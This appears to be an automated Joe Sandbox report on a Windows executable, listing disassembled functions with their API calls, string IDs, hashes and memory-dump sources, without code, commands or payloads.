                              • Opcode ID: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
                              • Instruction ID: 28e435cdead01fd65333368df2891c86ea6a44e569ea48f613a140ff37384f5b
                              • Opcode Fuzzy Hash: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
                              • Instruction Fuzzy Hash: FEF01975544700AFC704BF76C54D9CE7BB99F94349720845EB80887222DA3CD8C2C669
                              Function 0045F790 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 216windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                              • GetMenuItemInfoW.USER32(?,00000000), ref: 0045F85C
                              • _wcslen.LIBCMT ref: 0045F94A
                              • SetMenuItemInfoW.USER32(00000011,00000000,00000000,?), ref: 0045F9AE
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • SetMenuDefaultItem.USER32(00000000,000000FF,00000000,?,00000000), ref: 0045F9CA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ItemMenu$Info_wcslen$Default_malloc_wcscpy
                              • String ID: 0
                              • API String ID: 621800784-4108050209
                              • Opcode ID: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
                              • Instruction ID: 8916cda2fcff4f3da81aa675480f1736598f59ba0f795e6899437ff2d0190f01
                              • Opcode Fuzzy Hash: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
                              • Instruction Fuzzy Hash: E061EDB1604301AAD710EF69D885B6B77A4AF99315F04493FF98087292E7BCD84CC79B
                              Function 00478172 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 176COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • SetErrorMode.KERNEL32 ref: 004781CE
                              • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00478387
                                • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                              • SetErrorMode.KERNEL32(?), ref: 00478270
                              • SetErrorMode.KERNEL32(?), ref: 00478340
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$AttributesFile_memmove_wcslen
                              • String ID: \VH
                              • API String ID: 3884216118-234962358
                              • Opcode ID: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
                              • Instruction ID: 3f1cdca54a202f1bd1938e87a451cd9606667cca5306a7eaf6ab6c0a6d737147
                              • Opcode Fuzzy Hash: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
                              • Instruction Fuzzy Hash: F9619F715043019BC310EF25C585A5BB7E0BFC8708F04896EFA996B392CB76ED45CB96
                              Function 00448480 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448539
                              • IsMenu.USER32(?), ref: 0044854D
                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0044859B
                              • DrawMenuBar.USER32 ref: 004485AF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$Item$DrawInfoInsert
                              • String ID: 0
                              • API String ID: 3076010158-4108050209
                              • Opcode ID: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
                              • Instruction ID: 7b58e0297b022ec9ba855d833b0382692745775969200e6848d17b537ef0d45f
                              • Opcode Fuzzy Hash: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
                              • Instruction Fuzzy Hash: 1F417975A00209AFEB10DF55D884B9FB7B5FF59300F14852EE9059B390DB74A845CFA8
                              Function 00469CDB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469D69
                              • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00469D7C
                              • SendMessageW.USER32(?,00000189,00000000,00000000), ref: 00469DAC
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$_memmove_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 1589278365-1403004172
                              • Opcode ID: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
                              • Instruction ID: b025c67d46b61e1fa51b41144ded2117d8c1ab71acdc4e5cb50a5164a05e923b
                              • Opcode Fuzzy Hash: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
                              • Instruction Fuzzy Hash: 8D31287160010477DB10BB69CC45BEF775C9F86324F10852FF918AB2D1DABC9E4583A6
                              Function 00443442 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Handle
                              • String ID: nul
                              • API String ID: 2519475695-2873401336
                              • Opcode ID: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
                              • Instruction ID: 058e2060cb23de8d889deff533ab301820a4ae088d702658d54b05e79d5a48de
                              • Opcode Fuzzy Hash: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
                              • Instruction Fuzzy Hash: 84319571500204ABEB20DF68DC46BEB77A8EF04721F104A4EFD50973D1E7B59A50CBA5
                              Function 0044334F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92COMMON
                              Download Yara Rule
                              APIs
                              • GetStdHandle.KERNEL32(000000F6), ref: 0044337D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Handle
                              • String ID: nul
                              • API String ID: 2519475695-2873401336
                              • Opcode ID: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
                              • Instruction ID: 7fb8f1e98e57093f7bc771e71f756598ee5282d4f5ffeaa4ddc08f3ab3272662
                              • Opcode Fuzzy Hash: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
                              • Instruction Fuzzy Hash: 05219331600204ABE720DF689C49FAB77A8EF55731F20474EFDA0972D0EBB59A50C795
                              Function 00440C49 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: SysAnimate32
                              • API String ID: 0-1011021900
                              • Opcode ID: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
                              • Instruction ID: b1a10ecfd0a3fc3d2af2854cd73c9de1262d8b9fd4b2252518a975ef6c54cff1
                              • Opcode Fuzzy Hash: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
                              • Instruction Fuzzy Hash: 0D21C975600205ABFB149EA9EC81FAB73DCEB95324F20471BF711972C0D279EC518768
                              Function 00461554 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                • Part of subcall function 0043646A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
                                • Part of subcall function 0043646A: GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
                                • Part of subcall function 0043646A: GetCurrentThreadId.KERNEL32 ref: 004364A3
                                • Part of subcall function 0043646A: AttachThreadInput.USER32(00000000), ref: 004364AA
                              • GetFocus.USER32 ref: 0046157B
                                • Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364C3
                                • Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364CF
                              • GetClassNameW.USER32(?,?,00000100), ref: 004615C4
                              • 74286A70.USER32(?,Function_00045B98,?), ref: 004615EF
                              • __swprintf.LIBCMT ref: 00461608
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Thread$Parent$74286AttachClassCurrentFocusInputMessageNameProcessSendTimeoutWindow__swprintf_memmove_wcslen
                              • String ID: %s%d
                              • API String ID: 3220401950-1110647743
                              • Opcode ID: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
                              • Instruction ID: 8eac61321038dbd32bfe14263504560db7c98c8fbeeeb2eb49a46d34c9d63f73
                              • Opcode Fuzzy Hash: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
                              • Instruction Fuzzy Hash: 272180756007096BD610AF69DC89FAF73A8FB88704F00841FF918A7241DAB8A9418B69
                              Function 00462A31 Relevance: 7.7, APIs: 5, Instructions: 227COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
                              • Instruction ID: b0f148a0463f8e77612455c4d0488571574065cadd758f34d18f988e9301810f
                              • Opcode Fuzzy Hash: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
                              • Instruction Fuzzy Hash: 2A819F74600604BFEB24CF95C994FBB7B68EF59350F10804EF8959B341E6B8AC45CB6A
                              Function 004757A7 Relevance: 7.7, APIs: 5, Instructions: 220COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcessId.KERNEL32(?), ref: 0047584D
                              • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0047585B
                              • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0047587F
                              • CloseHandle.KERNEL32(00000000), ref: 00475A4D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$CloseCountersCurrentHandleOpen
                              • String ID:
                              • API String ID: 3488606520-0
                              • Opcode ID: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
                              • Instruction ID: 747e8e91012d04cc7bcfbda4f2b49d0ca9967bea8b965680eccea6cdbc9dea0c
                              • Opcode Fuzzy Hash: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
                              • Instruction Fuzzy Hash: 82817170A047029FD310DF65C981B4BBBE1BF84704F10892EF6999B3D2DA75E944CB96
                              Function 0046B4CF Relevance: 7.7, APIs: 5, Instructions: 157registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B5B5
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ConnectRegistry_memmove_wcslen
                              • String ID:
                              • API String ID: 15295421-0
                              • Opcode ID: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
                              • Instruction ID: 481e56be03c4cee60d8ca92471cfa4b3875eab78bcfcbf7fb961631f720e0f99
                              • Opcode Fuzzy Hash: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
                              • Instruction Fuzzy Hash: 7D515F71208301ABD304EF65C885E5BB7A8FF88704F10892EB54597291D774E945CBA6
                              Function 00464812 Relevance: 7.6, APIs: 5, Instructions: 145libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryW.KERNEL32(00000000,?,?,?), ref: 0046485D
                              • GetProcAddress.KERNEL32(?,?), ref: 004648F7
                              • GetProcAddress.KERNEL32(?,00000000), ref: 00464916
                              • GetProcAddress.KERNEL32(?,?), ref: 0046495A
                              • FreeLibrary.KERNEL32(?,?,?,?), ref: 0046497C
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressProc$Library$FreeLoad
                              • String ID:
                              • API String ID: 2449869053-0
                              • Opcode ID: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
                              • Instruction ID: 8919579e2c9fc9b2d94c4928dd3202a5bdd7863bc063e44bf2a6fba2f1eed130
                              • Opcode Fuzzy Hash: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
                              • Instruction Fuzzy Hash: 2351BF756002049FCB00EFA4C985A9EB7B4EF88304F14856EFD05AB392DB79ED45CB99
                              Function 00456391 Relevance: 7.6, APIs: 5, Instructions: 130keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetCursorPos.USER32(?), ref: 004563A6
                              • ScreenToClient.USER32(?,?), ref: 004563C3
                              • GetAsyncKeyState.USER32(?), ref: 00456400
                              • GetAsyncKeyState.USER32(?), ref: 00456410
                              • 742845F0.USER32(?,000000F0), ref: 00456466
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AsyncState$742845ClientCursorScreen
                              • String ID:
                              • API String ID: 2494728105-0
                              • Opcode ID: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
                              • Instruction ID: 60090bce41a6de58f2ab96a8453d1e3558661e38fd0c916b19f374a884add038
                              • Opcode Fuzzy Hash: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
                              • Instruction Fuzzy Hash: 49414C74504204BBDB24CF65C884EEFBBB8EB46326F60464EFC6593281CB34A944CB68
                              Function 0047D40F Relevance: 7.6, APIs: 5, Instructions: 120sleepCOMMON
                              Download Yara Rule
                              APIs
                              • InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D438
                              • InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D44D
                              • Sleep.KERNEL32(0000000A), ref: 0047D455
                              • InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D460
                              • InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D56A
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Interlocked$DecrementIncrement$Sleep
                              • String ID:
                              • API String ID: 327565842-0
                              • Opcode ID: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
                              • Instruction ID: e00c67d4cb89bf1d5311357fb713975cbca1e0cfcee7190b0451066ade77f289
                              • Opcode Fuzzy Hash: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
                              • Instruction Fuzzy Hash: CC412571A002055FEB10DF65CD84AEE7774EF45304B10852EF609A7351E738EE46CB99
                              Function 0045C3C1 Relevance: 7.6, APIs: 5, Instructions: 118COMMON
                              Download Yara Rule
                              APIs
                              • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C44F
                              • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C477
                              • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C4C3
                              • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C4E7
                              • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C4F6
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
